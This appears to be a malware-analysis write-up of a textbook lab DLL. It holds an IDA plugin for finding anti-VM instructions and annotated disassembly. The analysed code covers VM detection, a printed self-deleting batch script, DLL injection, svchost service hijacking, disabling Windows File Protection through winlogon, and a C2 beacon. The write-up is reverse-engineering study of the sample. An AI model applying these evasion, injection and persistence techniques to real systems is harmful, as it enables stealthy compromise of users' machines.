import ida_idaapi
import ida_kernwin
import ida_segment
import ida_bytes
import ida_ua
import ida_nalt
class AntiVMPlugin(ida_idaapi.plugin_t):
flags = ida_idaapi.PLUGIN_KEEP
comment = "Finds potential Anti-VM instructions"
help = "Scans current segment for anti-VM techniques"
wanted_name = "AntiVM Finder"
wanted_hotkey = "Shift-V"
ANTI_VM_INSTS = {
"sidt", "sgdt", "sldt", "smsw", "str", "in", "cpuid"
}
def init(self):
ida_kernwin.msg("AntiVM Finder plugin initialized (hotkey: Shift-V)\n")
return ida_idaapi.PLUGIN_OK
def run(self, arg):
curr_ea = ida_kernwin.get_screen_ea()
seg = ida_segment.getseg(curr_ea)
if not seg:
ida_kernwin.msg("[AntiVM] Error: No segment found at current address\n")
return
start_ea = seg.start_ea
end_ea = seg.end_ea
anti_vm_found = []
current = start_ea
while current < end_ea and current != ida_idaapi.BADADDR:
mnem = ida_ua.ua_mnem(current)
if mnem and mnem.lower() in self.ANTI_VM_INSTS:
anti_vm_found.append((current, mnem))
ida_nalt.set_item_color(current, 0x000080)
current = ida_bytes.next_head(current, end_ea)
ida_kernwin.msg(f"[AntiVM] Number of potential Anti-VM instructions: {len(anti_vm_found)}\n")
for addr, mnemonic in anti_vm_found:
ida_kernwin.msg(f"[AntiVM] {mnemonic.upper()} at: {addr:08X}\n")
if not anti_vm_found:
ida_kernwin.msg("[AntiVM] No anti-VM instructions found in current segment\n")
def term(self):
pass
def PLUGIN_ENTRY():
return AntiVMPlugin()

Using this updated python plugin, 3 Anti-VM instructions were flagged, SLDT, SIDT and STR. Starting with SIDT, the “Red Pill Anti-VM Technique”, first the output was saved to a local variable.
sidt fword ptr [ebp+var_428]
IDA mislabeled it as a one byte variable. After updating it to be a 6 bytes array (the proper output size for the instruction), the next instructions become clearer
mov eax, dword ptr [ebp+var_428+2]
mov [ebp+var_420], eax
.
.
mov ecx, [ebp+var_420]
shr ecx, 24
cmp ecx, 0FFh
These instructions load the IDTR base address into eax, then with a shift, the 4th byte is accessed and compared to 0xFF, the vmware signature. In case of a match, sub_401000 is called which deletes the malware and terminates execution.
str word ptr [ebp+var_418]
.
mov edx, [ebp+var_418]
and edx, 0FFh
test edx, edx
.
mov eax, [ebp+var_418+1]
and eax, 0FFh
cmp eax, 40h ; '@'
This basically checks if TR == 0x4000. In case of a match, the same self delete function is called.
mov eax, dword_406048
mov [ebp+var_8], eax
mov cl, byte_40604C
mov [ebp+var_4], cl
mov [ebp+var_C], 0
sldt word ptr [ebp+var_8]
mov edx, [ebp+var_8]
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
.
cmp eax, 0DDCC0000h
This sequence is using SLDT as another environment-detection (“No Pill”) check, similar in spirit to the earlier SIDT and STR logic.
SLDT stores the Local Descriptor Table Register (LDTR selector) into a 16-bit memory operand. On real Windows systems, LDTR is typically zero because Windows does not use an LDT for user processes. So normally you expect LDTR = 0x0000.
After that, the code reloads and widens the value:
mov edx, [ebp+var_8]
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
Even though SLDT only writes 2 bytes, the code treats it as a 32-bit value. Because var_C was cleared earlier, the upper bytes remain predictable (dword_406048 is a global dword containing 0DDCCBBAAh). This lets them compare a full dword instead of just a word.
Finally comes the fingerprint check:
cmp eax, 0DDCC0000h
Which basically compares the LDTR with zeros since the upper bytes are a constant.

After loading the malware into IDA, we can see multiple exports. Three of them are different versions of an install procedure: InstallRT, InstallSA, and InstallSB.
Next, using the Python plugin to detect anti-VM instructions, we find only one occurrence, which is the in instruction at 100061DB.
mov eax, 'VMXh'
mov ebx, 0
mov ecx, 0Ah
mov edx, 'VX'
in eax, dx
cmp ebx, 'VMXh'
This block is a classic VMware backdoor probe. The code loads the magic constant VMXh into EAX, sets ECX = 0x0A as a command, and places the I/O port value VX (0x5658) into DX. The IN instruction then performs an I/O read from that port. On real hardware, this instruction either faults or returns meaningless data and does not modify EBX in a controlled way. Inside VMware, however, the hypervisor intercepts this port and treats it as a backdoor interface: it recognizes the VMXh signature and responds by placing VMXh back into EBX. The final comparison checks whether VMware handled the request. If it matches, the program concludes it is running inside a VMware virtual machine and can change behavior accordingly.
This procedure is part of a function that wraps this technique in a try/except block. First, the return value is set to 1. On real hardware, the instruction will fault, so the exception handler is executed and sets the return value to 0. If it runs inside a VM, the call succeeds and the return value remains unchanged. As a result, the function returns 1 for virtual machines.

This function is called three times, all from the three Install functions of the DLL. If a VM is detected, what appears to be a logging function is called twice, and then another function is executed which we can assume deletes the malware.
mov eax, off_10019028 ; "[This is LOG]1"
add eax, 0Dh
push eax ; String
call ds:atoi
test eax, eax
The next function first checks a global string and retrieves a number appended at the end. This acts as an internal indicator of whether the malware is in logging mode. If the value is anything other than 0, the function logic is executed; otherwise, it exits immediately. Since here the value is always 1, logging is always enabled.
push offset byte_1008E5F0
call writelog
writelog proc near
Buffer= byte ptr -42Ch
var_2C= byte ptr -2Ch
var_18= byte ptr -18h
NumberOfBytesWritten= dword ptr -4
Format= dword ptr 8
ArgList= byte ptr 0Ch
At this point, something looks odd. Only one variable is pushed before the call (an empty buffer), yet IDA marks the function as taking two arguments: Format and ArgList.

Using a debugger, the second argument on this call pointed to the InstallRT address, even though it was never used. The explanation lies in the function called internally: vsnprintf. This function is variadic. It takes a format string, and the argument list is only consumed if the format string contains format specifiers such as %s or %d.

The behavior becomes clearer in another call where the format string contains two %s specifiers. In that case, the ArgList contains two strings that are consumed by vsnprintf. In the earlier call, the second argument was not needed, so the value observed in the debugger (the InstallRT address) was simply an unused artifact.
At this point, we know that the function first takes a custom logging message, formats it with vsnprintf using the argument list, and stores the result in a local buffer.
push 0FFFFFFF5h ; nStdHandle
call ds:GetStdHandle
mov edi, eax
...
...
lea eax, [ebp+log_message]
push eax ; Str
call strlen
mov esi, ds:WriteFile
pop ecx
push eax ; nNumberOfBytesToWrite
lea eax, [ebp+log_message]
push eax ; lpBuffer
push edi ; hFile
call esi ; WriteFile
Next, GetStdHandle is called with the parameter 0FFFFFFF5h (−11), which retrieves STD_OUTPUT_HANDLE, the active console screen buffer. The call to WriteFile is misleading here, since it is not writing to a file on disk but to the console handle. Effectively, these calls implement a printf-like behavior to display the log message.
push offset aA ; "a"
push offset FileName ; "xinstall.log"
call ds:fopen
mov esi, eax
Next, a log file is opened using append mode so it is not overwritten if it already exists. The log message produced by vsnprintf is measured with strlen to see whether it actually contains text. If the message is empty, the local time and date are retrieved using strtime and strdate and written to the file using fprintf with the format:
"\n\n\n[%s %s]"
If a message exists, it is written using:
"\n%s"
push offset empty
call writelog
mov [esp], offset aFoundVirtualMa ; "Found Virtual Machine,Install Cancel."
call writelog
The double call now becomes clear. The first call uses an empty string, which causes only the date and time to be written to the log. The second call writes the actual log message.

Right after both logging calls, the log file is created with the message indicating that a virtual machine was found.
At the start of this routine, the function retrieves its own module name using GetModuleFileNameA and stores it in a local buffer.
push offset aVmselfdelBat ; ".\\vmselfdel.bat"
push eax ; Buffer
call ds:sprintf
lea eax, [ebp+Buffer]
push offset aW ; "w"
push eax ; FileName
call ds:fopen
Next, the function creates a batch file with write access. The double backslash is normalized by sprintf, so the file created becomes .\vmselfdel.bat in the current working directory. Several fprintf calls follow, writing the script line by line. Instead of tracing each one, we can break before the *WinExec call and inspect the generated file directly.
@echo off
:selfkill
attrib -a -r -s -h "C:\Users\sibouzbib\Desktop\Lab17-02.dll"
del "C:\Users\sibouzbib\Desktop\Lab17-02.dll"
if exist "C:\Users\sibouzbib\Desktop\Lab17-02.dll" goto selfkill
del %0
This batch script implements a simple self-deletion routine. The first line disables command output. The attrib command removes archive, read-only, system, and hidden attributes from C:\Users\sibouzbib\Desktop\Lab17-02.dll so it can be deleted. The del command then attempts to remove the DLL. The if exist check loops back and retries deletion in case the file is still locked. Finally, the last line deletes the batch file itself, cleaning up once the target file has been removed.
Multiple approaches are viable here, but the easiest one is to use the “[This is DVM]5” string to our advantage. If we patch the 5 to 0, the check is completely skipped. Another option is to nop the call instruction itself, since AL will contain 0 if the function is not executed. The register is zeroed just before the call, so the result will indicate a non-VM environment.
Since I am using Qemu/KVM for emulation, patching that line is technically unnecessary because it will not detect the VM anyway. Installing the malware using InstallRT drops a log file informing us that the DLL was successfully copied to the system32 directory, but it failed to find the iexplore.exe process and therefore did not inject.

Starting Internet Explorer and running the install function again results in a success message: “Inject ‘Lab17-02.dll’ To Process ‘iexplore.exe’ Successfully”. We can confirm the injection by viewing the process in Process Explorer, where the DLL appears loaded with the short description “File Encryption Utility”.
Now back to the first exported function. Once logging is complete and the device is confirmed to be real hardware, the main installation logic begins.
push offset empty ; Format
stosb
call writelog
The function starts by writing a timestamp to the log file by passing an empty string to the earlier writelog function.
lea eax, [ebp+fullpath]
push esi ; nSize
push eax ; lpFilename
push ds:hModule ; hModule
call ds:GetModuleFileNameA
.
lea eax, [ebp+fullpath]
push 5Ch ; '\' ; Ch
push eax ; Str
call ds:strrchr
.
inc eax
push eax
lea eax, [ebp+filename]
push offset aS ; "%s"
push eax ; Buffer
call ds:sprintf
Next, GetModuleFileNameA is called on a globally saved handle. The full path of the DLL is retrieved, and the filename is extracted using strrchr and copied into a local buffer using sprintf. This global variable is only written once in DLLmain, where the hinstDLL value is saved at startup for later use.
lea eax, [ebp+systemdir]
push offset asc_10094A48 ; "\\"
push eax ; Destination
call strcat
lea eax, [ebp+filename]
push eax ; Source
lea eax, [ebp+systemdir]
push eax ; Destination
call strcat
add esp, 10h
lea eax, [ebp+systemdir]
push ebx ; bFailIfExists
push eax ; lpNewFileName
lea eax, [ebp+fullpath]
push eax ; lpExistingFileName
call ds:CopyFileA
The next step constructs the destination path where the DLL will be copied. The system directory is retrieved using GetSystemDirectoryA and the DLL name is appended to it. CopyFileA is then called with the original DLL path and the constructed destination path, dropping the DLL into the system directory. Afterward, writelog is called with either a success or failure message. Execution continues regardless of whether the copy succeeds.
push [ebp+arg] ; Str
call strlen
test eax, eax
jnz short loc_1000D522
push offset aIexploreExe ; "iexplore.exe"
jmp short loc_1000D525
loc_1000D522: ; Source
push [ebp+arg]
loc_1000D525:
lea eax, [ebp+processname]
push eax ; Destination
call strcpy
Next, the program retrieves the passed argument and checks its length. If it is zero, it defaults to iexplore.exe. Otherwise, it uses the user-supplied process name and stores it in a local buffer.
This process name is then passed to another function that performs process enumeration to locate the target. It uses standard APIs such as CreateToolhelp32Snapshot and Process32Next. If the process is found, its PID is returned; otherwise, the function returns 0.

One quirk worth mentioning is that writelog is called before checking whether the PID was actually found, which results in a duplicate or misleading entry in the log file.
The next function takes the malware DLL filename and the target PID and performs a basic DLL injection. It allocates memory in the target process using VirtualAllocEx, writes the DLL name (after converting it from ANSI to UTF-16) into the remote process with WriteProcessMemory, resolves the address of LoadLibraryW from kernel32.dll, and finally creates a remote thread using CreateRemoteThread to invoke LoadLibraryW with the DLL name as its argument. Since the DLL was already copied into the system directory, passing only the name is sufficient for it to be loaded.
InstallSA starts with the same approach: it loads the same global string, extracts the number, and performs VM detection. Next, the main installation logic is executed.
mov edi, offset aIrmon ; "Irmon"
cmp esi, ebx
mov [ebp+servicename], edi
push 20h ; ' ' ; Val
push esi ; Str
call ds:strchr
pop ecx
cmp eax, ebx
pop ecx
mov [eax], bl
inc eax
push eax ; Source
lea eax, [ebp+secondarg]
push eax ; Destination
mov [ebp+servicename], esi
call strcpy
First, the argument passed to the function is checked to see if it is empty. If it is not, the code checks for spaces in the name. If a space exists (ASCII 0x20), meaning the user provided multiple arguments, the first token is used as the service name by replacing the space with a null terminator, and the remainder is copied into a secondary buffer.
If no argument is given, the function falls back to “Irmon”, a legitimate Windows Infrared Monitor service name used here as camouflage.
push [ebp+servicename]
lea eax, [ebp+displayname]
push offset aSSystemService ; "%s System Services"
push eax ; Buffer
call ds:sprintf
A display name is then generated using the format “servname System Services”, clearly intended to look legitimate to a casual observer.
push offset aSoftwareMicros_2 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost"
call ds:RegOpenKeyExA
push offset aNetsvcs ; "netsvcs"
call ds:RegQueryValueExA
Next, the registry value “netsvcs” from “SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost” is queried. The netsvcs entry is a null-delimited list of service names authorized to run inside the shared svchost.exe container. If the query fails, an error is written to the log file.

The code then iterates through this netsvcs list using _stricmp and strchr. Since each entry is a null-terminated string, _stricmp compares the target service name against one entry at a time. If it does not match, strchr is used to locate the next null byte and advance the pointer to the following string. The loop stops when the pointer reaches a double-null terminator. At that point, writelog is called with the message that the specified service name is not present in Svchost\netsvcs.

A second loop provides extra logging functionality. The same list traversal is repeated, but instead of comparing strings, writelog is called on each entry. This logs all valid netsvcs services, informing the user which service names are acceptable.
push [ebp+argument]
lea eax, [ebp+secondarg]
push eax ; Destination
call strcpy
push edi ; Default serv name "irmon"
lea eax, [ebp+displayname]
push offset aSSystemService ; "%s System Services"
push eax ; Buffer
mov [ebp+servicename], edi
call ds:sprintf
lea eax, [ebp+secondarg]
push eax
push edi ; ArgList
push offset aNowWillInstall ; "Now Will Install Default Service '%s' W"...
call writelog
After the loop, the user-provided name is copied into the description buffer, while the actual service name is reset to the default Irmon. A log entry is generated: “Now Will Install Default Service ‘Irmon’ With Description ””. The display name is also updated to match the default service.
mov edi, [ebp+servicename]
.
push offset BinaryPathName ; "%SystemRoot%\\System32\\svchost.exe -k "...
push 1 ; dwErrorControl
push 2 ; dwStartType
push 120h ; dwServiceType
lea ecx, [ebp+displayname]
push 0F01FFh ; dwDesiredAccess
push ecx ; lpDisplayName
push edi ; lpServiceName
push eax ; OpenSCManagerA output
call ds:CreateServiceA
After OpenSCManagerA is called, the service is created with the binary path “svchost.exe -k netsvcs”, configured for SERVICE_AUTO_START and SERVICE_WIN32_SHARE_PROCESS.
On failure, writelog is called after formatting the error code and service name.
lea eax, [ebp+servdesc]
push eax ; servdesc
push edi ; servname
call description
Immediately after creation, the malware opens the service registry key under SYSTEM\ControlSet001\Services\servname and overwrites the Description value with the user-supplied string. If no description was supplied, the field becomes empty.

In this example, InstallSA was called on the Nla service with a custom description. The service is created with the attacker-controlled description and formatted display name. The program must be running as administrator on modern systems, otherwise OpenSCManagerA fails with error code 5.
call ds:GetSystemDirectoryA
lea eax, [ebp+currdir]
push eax ; lpBuffer
push 104h ; nBufferLength
call ds:GetCurrentDirectoryA
lea eax, [ebp+currdir]
push eax ; Str2
lea eax, [ebp+sysdir]
push eax ; Str1
call strcmp
The malware later checks whether the DLL is already executing from the system directory. If it is not, the path remains unchanged. If it is, “%SystemRoot%\System32” is prepended to normalize the path.
lea eax, [ebp+dllpath]
push eax ; lpData
push 2 ; dwType
push ebx ; Reserved
push offset aServicedll ; "ServiceDll"
push [ebp+phkResult] ; hKey
call ds:RegSetValueExA
The code opens SYSTEM\CurrentControlSet\Services\servicenameParameters and sets the ServiceDll value to the malicious DLL path. This instructs svchost.exe which DLL to load for the service. The service is then started and the result is logged.
push offset ini ; "win.ini"
call timestomp
...
lea eax, [ebp+systime]
push eax ; lpLastWriteTime
lea eax, [ebp+systime]
push eax ; lpLastAccessTime
lea eax, [ebp+systime]
push eax ; lpCreationTime
push esi ; hFile
call ds:SetFileTime
Finally, win.ini is passed to a timestomping routine. The function retrieves the current system time, converts it to FILETIME format, and updates the creation, access, and write timestamps of win.ini. The purpose is unclear. It may act as a soft execution marker or an inter-component signal without creating obvious mutex artifacts.
mov [ebp+Data], 1
pop eax
mov [ebp+var_13], bl
mov [ebp+cbData], eax
push eax ; cbData
lea eax, [ebp+Data]
mov [ebp+var_12], bl
push eax ; lpData
push 3 ; dwType
push ebx ; Reserved
push esi ; lpValueName
push [ebp+phkResult] ; hKey
mov [ebp+var_11], bl
call ds:RegSetValueExA
Additionally, another function is called to establish an installation marker. It opens SoftWare\MicroSoft\Internet Connection Wizard\ (note the obfuscated capitalization “MicroSoft”), checks for a “Completed” value, and if absent, creates it as a REG_BINARY type set to 1. This acts as a per-user flag to prevent redundant installation attempts.
InstallSB begins with the same VM detection routine used by the other two exports. Once the environment is validated, execution continues into the main subroutine, where the first operation performed is weakening OS security by escalating privileges.
lea eax, [ebp+TokenHandle]
push eax ; TokenHandle
push 28h ; DesiredAccess
xor edi, edi
call ds:GetCurrentProcess
push eax ; ProcessHandle
call ds:OpenProcessToken
OpenProcessToken is called on the current process handle. The value 0x28 is passed as DesiredAccess, which corresponds to:
The second flag is required to enable or disable privileges inside the access token.
lea eax, [ebp+Luid]
push eax ; lpLuid
push offset Name ; "SeDebugPrivilege"
push edi ; lpSystemName
call ds:LookupPrivilegeValueA
The string “SeDebugPrivilege” is converted into its LUID representation. An LUID (Locally Unique Identifier) is a 64-bit value guaranteed to be unique only on the local machine until reboot and is required when manipulating privileges via the token API.
mov eax, [ebp+Luid.LowPart]
push edi ; ReturnLength
mov [ebp+NewState.Privileges.Luid.LowPart], eax
mov eax, [ebp+Luid.HighPart]
mov [ebp+NewState.Privileges.Luid.HighPart], eax
push edi ; PreviousState
lea eax, [ebp+NewState]
push 10h ; BufferLength
push eax ; NewState
push edi ; DisableAllPrivileges
push [ebp+TokenHandle] ; TokenHandle
mov [ebp+NewState.PrivilegeCount], 1
mov [ebp+NewState.Privileges.Attributes], 2
call ds:AdjustTokenPrivileges
The malware fills a TOKEN_PRIVILEGES structure for AdjustTokenPrivileges. Both LUID parts are copied into the structure. PrivilegeCount is set to 1, meaning a single privilege is modified, and Attributes = 2 corresponds to SE_PRIVILEGE_ENABLED. This enables SeDebugPrivilege, allowing the process to bypass normal access checks when opening protected system processes.
outbuff= dword ptr 4
procname= dword ptr 8
dwDesiredAccess= dword ptr 0Ch
push ebx
push esi
mov esi, [esp+8+outbuff]
push edi
xor ebx, ebx
lea edi, [esi+8]
push edi ; procname
push [esp+10h+procname] ; procnameORpid
call getprocPIDandName
The next function receives the process name (“winlogon.exe”), the desired access mask (1F0FFFh), and an output buffer. IDA incorrectly labels the output buffer as an integer, but from usage it is clearly a structure. To understand it, the helper routine getprocPIDandName must be examined.
push edi
call strlen
pop ecx
push eax ; MaxCount
push edi ; String
call esi ; _strlwr
pop ecx
push eax ; Str2
lea eax, [ebp+pe.szExeFile]
push eax ; String
call esi ; _strlwr
pop ecx
push eax ; Str1
call ds:strncmp
The function first determines whether the argument represents a PID or a process name. This is done by testing the first character with isdigit. If numeric, strtoul converts it into a PID.
After calling CreateToolhelp32Snapshot, the routine iterates over all processes. The provided process name is converted to lowercase and compared against each enumerated entry. If the name does not match, it checks the PID instead. When a match is found, the PID is returned and the process name is copied into the provided output buffer.
lea edi, [esi+PROCINFO.name]
push edi
push dword ptr [esp+18h]
call getprocPIDandName
pop ecx
mov [esi+PROCINFO.pid], eax
Returning to the caller, the structure now contains both the resolved process name and PID.
push eax ; dwProcessId
push ebx ; bInheritHandle
push dword ptr [esp+20h] ; dwDesiredAccess (1F0FFFh)
call ds:OpenProcess
mov [esi+PROCINFO.hProcess], eax
OpenProcess is then invoked on the resolved PID with 1F0FFFh, which maps to PROCESS_ALL_ACCESS:
STANDARD_RIGHTS_REQUIRED (0x000F0000)
SYNCHRONIZE (0x00100000)
0xFFF legacy mask
This level of access is normally denied for protected processes like winlogon.exe, but succeeds because SeDebugPrivilege was enabled earlier.
Microsoft documents this behavior:
If the caller has enabled SeDebugPrivilege, the requested access is granted regardless of the security descriptor.
At this point the structure layout becomes clear:
struct PROCINFO {
DWORD pid;
HANDLE hProcess;
char name[260];
};

Next, depending on the OS version, the malware dynamically loads either sfc.dll (Windows 2000) or sfc_os.dll (Windows XP). It resolves ordinal 2, which corresponds to the undocumented SfcTerminateWatcherThread function. This function terminates the Windows File Protection (WFP) monitoring thread.
lea eax, [ebp+winlogon]
push ebx
push eax
call startthread
The PROCINFO structure and the resolved function pointer are passed into another routine.
push eax ; lpThreadId
mov eax, [ebp+winlog]
push esi
push esi
push [ebp+lpStartAddress]
mov [ebp+ThreadId], esi
push esi
push esi
push [eax+PROCINFO.hProcess]
call ds:CreateRemoteThread
A remote thread is created inside winlogon.exe, executing SfcTerminateWatcherThread in that process context. This disables Windows File Protection so system DLLs can be replaced without being restored.
push 4000
push edi
call ds:WaitForSingleObject
The code waits four seconds to ensure the thread starts successfully and logs an error if it fails.
mov eax, [ebp+arg]
mov [ebp+servicename], offset aNtmssvc ; "NtmsSvc"
cmp eax, ebx
cmp [eax], bl
jz short loc_1000E005
mov [ebp+servicename], eax
The second phase begins. The user-supplied argument is used as the service name. If none is provided, the malware defaults to “NtmsSvc”, the Removable Storage Manager service.
push ebx
push eax
call ds:QueryServiceConfigA
...
mov eax, [ebx+QUERY_SERVICE_CONFIG.dwStartType]
mov ecx, [ebp+outbuf]
mov [ecx], eax
A helper routine opens the Service Control Manager and the target service, calling QueryServiceConfigA to retrieve its StartType. This value is returned and logged.
cmp [edi+QUERY_SERVICE_CONFIG.dwStartType], 2
mov edi, ds:ChangeServiceConfigA
...
push 2
push 0FFFFFFFFh
push [ebp+hService]
call edi
If the service is not already set to SERVICE_AUTO_START, the malware modifies it using ChangeServiceConfigA. Passing 0xFFFFFFFF preserves the existing service type while only altering the startup behavior, minimizing visibility.
Next, the malware queries the netsvcs group from:
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
It checks whether the chosen service belongs to that group.
push offset aServicemainbak ; "ServiceMainbak"
push [ebp+hKey]
call RegQueryValueExA
It queries the ServiceMainbak value under the service key. If present, the service is already infected. This prevents reinfection and also preserves the original ServiceMain pointer for proxy execution. A log entry is generated: Services name Have Been Infected! Install Failed!`
A second check tests whether the current ServiceDll contains the suffix “_ox.dll” using strstr, indicating prior compromise.
The malware then extracts the legitimate DLL directory using strrchr and string operations to isolate the filename and path.
push [ebp+legit_dll]
lea eax, [ebp+me.szModule]
push eax
call _stricmp
It enumerates all svchost.exe instances using CreateToolhelp32Snapshot, then enumerates modules with Module32First/Next to locate the specific instance hosting the target service DLL. This avoids injecting into the wrong svchost process, since Windows runs many concurrently.
A confirmation routine returns:
lea eax, [ebp+dll]
push 104h
push eax
call GetSystemDirectoryA
...
sprintf("%s.obak")
A backup is created for the legitimate DLL as:
sysdir\legit.dll.obak
The original DLL is copied there.
CopyFileA(maldll, legitpath)
The malicious DLL overwrites the legitimate service DLL and is also copied into:
sysdir\dllcache\
The registry is updated so ServiceMainbak stores the original entry. The service is restarted so execution now flows through the malicious DLL.
original.dll -> original_ox.dll
If the service DLL is not currently loaded, the malware constructs a new filename using the pattern:
originaldll_ox.dll
It copies itself under that name into the service directory, updates ServiceDll to reference it, saves the original DLL in ServiceMainbak, injects into the resolved svchost instance, and finally starts the service.
In effect, InstallSB performs full system-level persistence by:
It is the most invasive and durable of the installer routines in the sample.
mov eax, [esp+fdwReason]
dec eax
jnz loc_1000D107
First the DLL checks if fdwReason == DLL_PROCESS_ATTACH so it continues only for attach events and skips for the rest. This is a common optimization to run initialization code only once when the DLL first loads into a process. This also reduces noise from repeated thread attach/detach notifications that would otherwise trigger the same setup logic multiple times. Next, depending on multiple hardcoded strings, mainly pointing to an ftp C2 implementation, or http… it starts the main malicious thread.
In practice this means the loader path is kept minimal and immediately hands execution to a worker routine that contains the actual operational logic.
call is_NT_based
mov NT_based, eax
call is_Windows_2000_or_later
mov Windows_2000_or_later, eax
Two version checks are next made to verify the current infected OS. These values are then saved inside global buffers for future checks. The reason for persisting them globally is that later branches depend on subtle API differences between legacy Windows versions and NT-based systems, especially around token handling, service installation, and memory management behavior.
The next call is quite long and contains 4 main subroutines, and based on the general structure and the last block containing the function ExitThread, we may assume that this function contains compatability or integrity checks and to cleanly exit in case of an issue.
push [ebp+lpAddress] ; lpAddress
call ds:VirtualQuery
neg eax
sbb eax, eax
and eax, [ebp+Buffer.AllocationBase
Starting with the first one, the routine takes in the DLLMain address and resolves it to the module or region base it belongs to using VirtualQuery. This address is then used as a module handle for the GetModuleFileName function, returning the full path to the DLL file. Using VirtualQuery instead of a direct handle allows the code to work even if the module was injected in a non-standard way where the loader structures are not easily accessible.
lea eax, [ebp+filecontent]
push eax ; outBuffer
push [ebp+dllpath] ; filepath
call readfiletobuffer16
push [ebp+buff] ; buff
push eax ; Size
push [ebp+filecontent] ; Src
call sub_10010F5A
The next call first start with reading the full disk path, and opens the file is “rb” mode, reading the file in 4 bytes chunks into a buffer. A special behaviour of this read function is that it skips the last 16 bytes of the file. It then returns the read size and passes the contents of the file to a next function. Skipping a fixed trailer like this is typical when the last bytes store a signature, configuration blob, or integrity value appended after compilation.
This subroutine is basically an MD5 hashing algorithm.
mov dword ptr [eax], 63425971h
mov dword ptr [eax+4], 0EFCDAB89h
mov dword ptr [eax+8], 98BADCFEh
First, MD5_Init was identified as the MD5 initialization routine due to the presence of the well-known MD5 initial state constants: 0x67452301, 0xEFCDAB89… These constants are defined in RFC 1321 and are universally used to initialize the MD5 state variables A, B, C, and D. Their appearance together in sequence is a strong fingerprint for MD5 implementations.
The next call matches the behavior of an MD5_Update loop. It maintains a running bit count, computes the buffer index, and appends input data into a 64-byte working buffer in the context structure. When enough data has been accumulated to fill a 64-byte block, the function invokes a secondary routine to process the block.
lea esi, [ecx+esi-28955B88h]
add esi, [ebp+var_40]
rol esi, 7
add esi, edi
mov eax, esi
and eax, edi
mov ecx, esi
not ecx
and ecx, edx
or ecx, eax
lea ebx, [ecx+ebx-173848AAh]
The main routine corresponds to the MD5 compression function (MD5_Transform). It begins by loading the canonical MD5 initial values into registers and copying a 64-byte message block into a local workspace. The body of the function performs the four MD5 rounds using the characteristic boolean functions (AND, OR, NOT), fixed constants, and left rotations (e.g., 7, 12, 17, 22, etc.). The presence of MD5-specific constants such as 0xD76AA478, 0xE8C7B756, and similar values, combined with repeated ROL operations and chained state updates, uniquely identifies this function as the MD5 block transform stage. The state words are accumulated back into the context at the end of each round, which is the standard feed-forward step used by MD5.
lea eax, [ebx-10h]
push eax ; Offset
push edi ; Stream
call esi ; fseek
Once hashed the next function call takes the same DLL path, and a buffer, and it reads the last 16 bytes that were skipped when hashing. This effectively separates the file into body and trailer, where the body produces the computed digest and the trailer likely contains the expected value to compare against.
for (i = 0; i < len; i++) {
buffer[i] += -22 - (i % 8);
}
These bytes are then decrypted. The function walks through the block of bytes and slightly changes each one. It loops from the first byte to the last (16 bytes total). For each position, it uses the index number, takes it modulo 8, and uses that to calculate a small value. That value is based on 0xEA and changes in a repeating pattern every 8 bytes. The function then adds that value to the current byte in the buffer. Because the pattern repeats every 8 bytes, the transformation is symmetric across the two 8-byte halves of the 16-byte trailer.

On execution tho, the two values dont match, resulting in a thread exit. Assuming the integrity check did succeed, we continue analyzing the thread.
WSAStartup is first called, getting ready for a networking logic. Next a function reads a custom registry value named kstarttype under HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion and checks its numeric content. If the value exists and equals 1, the function returns true (1); otherwise, it returns false (0). As a note, this subkey is not a standard Windows key. In case of a success, some xkey.dll file is dynamically loaded, and a function address, “Plug_KeyLog_Restart” is called. Loading this module conditionally suggests a plugin-style architecture where additional capabilities are only activated when configured.
mov eax, off_10019040 ; "[This is RDO]newsnews.practicalmalwarea"...
add eax, 0Dh
push eax ; name
call ds:gethostbyname
The program next tries to dynamically resolve the hard coded C2 domain, “newsnews.practicalmalwareanalysis.com”. In case of a failure, it appears that it falls back to a hardcoded IP address as evident by the RIP (Remote IP) tag. But in this program it contains spaces, no actual fallback, so it just fails. If the DNS succeeds, a hostent structure is manipulated and inet_ntoa is finally used to extract the C2 IP and save it on a global buffer as an ascii string. The port “80” is also retrieved from a hardcoded variable. Finally “ipconfig /flushdns” is executed. By flushing the DNS cache, the malware ensures that any subsequent connections must perform a fresh DNS lookup, preventing it from being redirected by local “hosts” file modifications or outdated cache entries that might lead to a sinkhole. It also reduces the chance that previously cached resolutions interfere with its expected endpoint.
loc_10001884:
mov eax, off_10019020 ; "[This is CTI]30"
add eax, 0Dh
push eax ; String
call esi ; atoi
pop ecx
mov esi, eax
call Idle_Time
cmp eax, esi
The program next retrieves the system Idle tme and a hardcoded threshold. If the system been active for more than 30 seconds, the malware starts exfiltrating data to the C2. It first connects to the server, then calls a function filling in a custom structure:
struct SystemInfo_Struct
{
unsigned char pad_0[8]; // 0x000
unsigned int TickCount; // 0x008
unsigned char pad_C[4]; // 0x00C
unsigned char F333[4]; // 0x010
unsigned char pad_14[4]; // 0x014
char sys_version[148]; // 0x018
unsigned int processor_speed; // 0x0AC
unsigned int actual_physical_memory; // 0x0B0
unsigned int physical_memory_available; // 0x0B4
unsigned int Total_Drive_capacity; // 0x0B8
unsigned int Total_Free_space; // 0x0BC
unsigned int local_machine_IP; // 0x0C0
unsigned int Vram; // 0x0C4
int webcam_exists; // 0x0C8
unsigned char pad_CC[4]; // 0x0CC
char hostname[32]; // 0x0D0
char current_procname[260]; // 0x0F0
unsigned char GroupInfo[32]; // 0x1F4
unsigned char key[12]; // 0x214
unsigned int idle_time; // 0x220
unsigned int tickcount_key;
};
The last field, tickcount_key, is of later relevance, and is added to the structure after the collect sysinfo call happens. The earlier padding fields indicate the structure was likely extended over time while preserving offsets expected by the server parser.
lea eax, [esp+694h+buf]
push eax ; sysinfo
call collectsysinfo
add esp, 10h
call ds:GetTickCount
and eax, 0Fh
push ebx ; flags
inc eax
push esi ; len
mov esi, ds:send
mov [esp+690h+buf.tickcount_key], eax
mov currtick_low4bits, eax
lea eax, [esp+690h+buf]
push eax ; buf
push edi ; s
call esi ; send
The key is a “random” value measured using the current TickCount. Ida mislabled it first as a another local variable, but it is the last field of the same buf struct. Masking with 0xF limits it to the lower four bits, producing a small rolling seed that changes between executions but remains stable for the session.
The collected data is then sent to the remote C2.

Patching the integrity check on the DLL, and infecting a vm’s svchost.exe process, we periodically get this beacon.
import struct
import socket
def parse_malware_struct(hex_input):
if not hex_input:
